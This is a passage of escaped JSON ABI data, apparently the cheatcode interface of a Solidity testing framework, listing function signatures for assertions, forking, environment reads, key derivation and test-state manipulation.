"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address[]\",\"name\":\"left\",\"type\":\"address[]\"},{\"internalType\":\"address[]\",\"name\":\"right\",\"type\":\"address[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"left\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"right\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"left\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"right\",\"type\":\"address\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"left\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"right\",\"type\":\"bytes32\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"left\",\"type\":\"bytes\"},{\"internalType\":\"bytes\",\"name\":\"right\",\"type\":\"bytes\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256[]\",\"name\":\"left\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"right\",\"type\":\"uint256[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"left\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"right\",\"type\":\"address\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"left\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"right\",\"type\":\"bytes32\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string[]\",\"name\":\"left\",\"type\":\"string[]\"},{\"internalType\":\"string[]\",\"name\":\"right\",\"type\":\"string[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"left\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes32[]\",\"name\":\"right\",\"type\":\"bytes32[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string[]\",\"name\":\"left\",\"type\":\"string[]\"},{\"internalType\":\"string[]\",\"name\":\"right\",\"type\":\"string[]\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256[]\",\"name\":\"left\",\"type\":\"int256[]\"},{\"internalType\":\"int256[]\",\"name\":\"right\",\"type\":\"int256[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes[]\",\"name\":\"left\",\"type\":\"bytes[]\"},{\"internalType\":\"bytes[]\",\"name\":\"right\",\"type\":\"bytes[]\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertNotEqDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEqDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertNotEqDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEqDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"condition\",\"type\":\"bool\"}],\"name\":\"assertTrue\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"condition\",\"type\":\"bool\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertTrue\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"condition\",\"type\":\"bool\"}],\"name\":\"assume\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"char\",\"type\":\"string\"}],\"name\":\"breakpoint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"char\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"value\",\"type\":\"bool\"}],\"name\":\"breakpoint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"broadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"signer\",\"type\":\"address\"}],\"name\":\"broadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"name\":\"broadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"newChainId\",\"type\":\"uint256\"}],\"name\":\"chainId\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"clearMockedCalls\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"closeFile\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newCoinbase\",\"type\":\"address\"}],\"name\":\"coinbase\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"salt\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"initCodeHash\",\"type\":\"bytes32\"}],\"name\":\"computeCreate2Address\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"salt\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"initCodeHash\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"deployer\",\"type\":\"address\"}],\"name\":\"computeCreate2Address\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"deployer\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"nonce\",\"type\":\"uint256\"}],\"name\":\"computeCreateAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"from\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"to\",\"type\":\"string\"}],\"name\":\"copyFile\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"copied\",\"type\":\"uint64\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"recursive\",\"type\":\"bool\"}],\"name\":\"createDir\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"urlOrAlias\",\"type\":\"string\"}],\"name\":\"createFork\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"urlOrAlias\",\"type\":\"string\"},{\"internalType\":\"uint256\",\"name\":\"blockNumber\",\"type\":\"uint256\"}],\"name\":\"createFork\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"urlOrAlias\",\"type\":\"string\"},{\"internalType\":\"bytes32\",\"name\":\"txHash\",\"type\":\"bytes32\"}],\"name\":\"createFork\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"urlOrAlias\",\"type\":\"string\"},{\"internalType\":\"uint256\",\"name\":\"blockNumber\",\"type\":\"uint256\"}],\"name\":\"createSelectFork\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"urlOrAlias\",\"type\":\"string\"},{\"internalType\":\"bytes32\",\"name\":\"txHash\",\"type\":\"bytes32\"}],\"name\":\"createSelectFork\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"urlOrAlias\",\"type\":\"string\"}],\"name\":\"createSelectFork\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"walletLabel\",\"type\":\"string\"}],\"name\":\"createWallet\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyX\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyY\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.Wallet\",\"name\":\"wallet\",\"type\":\"tuple\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"name\":\"createWallet\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyX\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyY\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.Wallet\",\"name\":\"wallet\",\"type\":\"tuple\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"walletLabel\",\"type\":\"string\"}],\"name\":\"createWallet\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyX\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyY\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.Wallet\",\"name\":\"wallet\",\"type\":\"tuple\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"newBalance\",\"type\":\"uint256\"}],\"name\":\"deal\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"snapshotId\",\"type\":\"uint256\"}],\"name\":\"deleteSnapshot\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"success\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"deleteSnapshots\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"mnemonic\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"derivationPath\",\"type\":\"string\"},{\"internalType\":\"uint32\",\"name\":\"index\",\"type\":\"uint32\"},{\"internalType\":\"string\",\"name\":\"language\",\"type\":\"string\"}],\"name\":\"deriveKey\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"mnemonic\",\"type\":\"string\"},{\"internalType\":\"uint32\",\"name\":\"index\",\"type\":\"uint32\"},{\"internalType\":\"string\",\"name\":\"language\",\"type\":\"string\"}],\"name\":\"deriveKey\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"mnemonic\",\"type\":\"string\"},{\"internalType\":\"uint32\",\"name\":\"index\",\"type\":\"uint32\"}],\"name\":\"deriveKey\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"mnemonic\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"derivationPath\",\"type\":\"string\"},{\"internalType\":\"uint32\",\"name\":\"index\",\"type\":\"uint32\"}],\"name\":\"deriveKey\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"newDifficulty\",\"type\":\"uint256\"}],\"name\":\"difficulty\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"pathToStateJson\",\"type\":\"string\"}],\"name\":\"dumpState\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"value\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envAddress\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"value\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envBool\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"value\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envBool\",\"outputs\":[{\"internalType\":\"bool[]\",\"name\":\"value\",\"type\":\"bool[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envBytes\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"value\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envBytes\",\"outputs\":[{\"internalType\":\"bytes[]\",\"name\":\"value\",\"type\":\"bytes[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envBytes32\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"value\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envBytes32\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envInt\",\"outputs\":[{\"internalType\":\"int256[]\",\"name\":\"value\",\"type\":\"int256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envInt\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"value\",\"type\":\"int256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"bytes32[]\",\"name\":\"defaultValue\",\"type\":\"bytes32[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"value\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"int256[]\",\"name\":\"defaultValue\",\"type\":\"int256[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"int256[]\",\"name\":\"value\",\"type\":\"int256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"defaultValue\",\"type\":\"bool\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"value\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"defaultValue\",\"type\":\"address\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"value\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"uint256\",\"name\":\"defaultValue\",\"type\":\"uint256\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"bytes[]\",\"name\":\"defaultValue\",\"type\":\"bytes[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bytes[]\",\"name\":\"value\",\"type\":\"bytes[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"uint256[]\",\"name\":\"defaultValue\",\"type\":\"uint256[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"value\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"string[]\",\"name\":\"defaultValue\",\"type\":\"string[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"value\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"bytes\",\"name\":\"defaultValue\",\"type\":\"bytes\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"value\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"bytes32\",\"name\":\"defaultValue\",\"type\":\"bytes32\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"int256\",\"name\":\"defaultValue\",\"type\":\"int256\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"value\",\"type\":\"int256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"address[]\",\"name\":\"defaultValue\",\"type\":\"address[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"value\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"defaultValue\",\"type\":\"string\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"bool[]\",\"name\":\"defaultValue\",\"type\":\"bool[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bool[]\",\"name\":\"value\",\"type\":\"bool[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envString\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"value\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envUint\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envUint\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"value\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"newRuntimeBytecode\",\"type\":\"bytes\"}],\"name\":\"etch\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"fromBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"toBlock\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32[]\",\"name\":\"topics\",\"type\":\"bytes32[]\"}],\"name\":\"eth_getLogs\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"emitter\",\"type\":\"address\"},{\"internalType\":\"bytes32[]\",\"name\":\"topics\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"bytes32\",\"name\":\"blockHash\",\"type\":\"bytes32\"},{\"internalType\":\"uint64\",\"name\":\"blockNumber\",\"type\":\"uint64\"},{\"internalType\":\"bytes32\",\"name\":\"transactionHash\",\"type\":\"bytes32\"},{\"internalType\":\"uint64\",\"name\":\"transactionIndex\",\"type\":\"uint64\"},{\"internalType\":\"uint256\",\"name\":\"logIndex\",\"type\":\"uint256\"},{\"internalType\":\"bool\",\"name\":\"removed\",\"type\":\"bool\"}],\"internalType\":\"struct VmSafe.EthGetLogs[]\",\"name\":\"logs\",\"type\":\"tuple[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"exists\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"result\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"msgValue\",\"type\":\"uint256\"},{\"internalType\":\"uint64\",\"name\":\"gas\",\"type\":\"uint64\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"expectCall\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"msgValue\",\"type\":\"uint256\"},{\"internalType\":\"uint64\",\"name\":\"gas\",\"type\":\"uint64\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"uint64\",\"name\":\"count\",\"type\":\"uint64\"}],\"name\":\"expectCall\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"msgValue\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\